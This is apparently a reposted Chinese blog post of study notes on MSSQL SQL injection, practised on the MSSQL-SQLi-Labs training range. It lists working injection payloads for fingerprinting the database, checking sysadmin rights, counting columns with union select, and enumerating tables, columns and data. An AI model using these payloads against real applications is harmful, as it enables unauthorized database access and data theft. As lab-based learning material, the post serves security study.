MSSQL注入
2021/4/25 2:25:19
本文主要是介绍MSSQL注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
因为自己Mssql注入差的离谱 基础的都老忘.. 这次来记录下
况且一搜啥sql注入 很多出来的都是mysql的,黯区的课 有讲很详细的mssql注入的课程噢!!想报名的可以call我
使用到的靶场是
https://github.com/Larryxi/MSSQL-SQLi-Labs
提示虽然很友好.. 但是用不到 哈哈
基础补充
以下有些会围绕mysql对比来讲
注释
判断是否为mssql
数据库
and exists(select * from sysobjects) --
判断权限
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限 and 1=(select is_srvrolemember('public')) //判断是否为public权限
判断列数的问题
sqlserver:用order by
不准确,因为有些数据类型不支持,照样会抛异常回显,像用union all select 1,2
,这样也是不准确的,因为还是数据类型的问题,所以用uinon all select null,null
mysql:用order by
都晓得
limit问题
mysql: select * from table_name limit 10; mssql: select top 10 * from table_name;
联合查询
判断有无注入
'
and 1=1
and 1=2
这里也有个问题 要是mysql的话 单独 and 1,也可以 但是在mssql不行
可以很明显的看出
猜字段长度
- order by num - unino all select null
三个回显正常
四个回显错误
判断三个列
寻找显位
很简单 在判断的基础上 改成字符
查询基本信息
显位找出来了 就查信息呗
- @@version -- 版本信息 - db_name() -- 获取库名 - user,system_user,current_user,user_name –- 获取当前⽤户名
查询表名
(select top 1 name from db_name.dbo.sysobjects where xtype='u') (select top 1 name from db_name.dbo.sysobjects where xtype='u' and name not in('users')) // 上一个永远可以扔进括号里,然后逐个排出表名
这里可以告诉大家一个tips, 库名要是有-
这种特殊符号,可以用[]
包住
没有了 也就空了
查询列名
(select top 1 col_name(object_id('table_name'),1) from sysobjects) (select top 1 col_name(object_id('table_name'),2) from sysobjects) (select top 1 col_name(object_id('table)name'),num) from sysobjects)
查询数据
就非常简单了
这篇关于MSSQL注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-01-08Docker下的SqlServer发布订阅启用
- 2023-06-05Docker安装MS SQL Server并使用Navicat远程连接
- 2023-05-25深入浅出 SQL Server CDC 数据同步
- 2023-05-12通过空间占用和执行计划了解SQL Server的行存储索引
- 2023-04-24以SQLserver为例的Dapper详细讲解
- 2022-11-30SQL server高级函数查询
- 2022-11-26SQL SERVER数据库服务器CPU不能全部利用原因分析
- 2022-11-21SQL Server 时间算差值/常用函数
- 2022-11-20调试Archery连接SQL Server提示驱动错误
- 2022-10-22SQL Server 完整、差异备份+完整、差异还原(详细讲解,规避错误)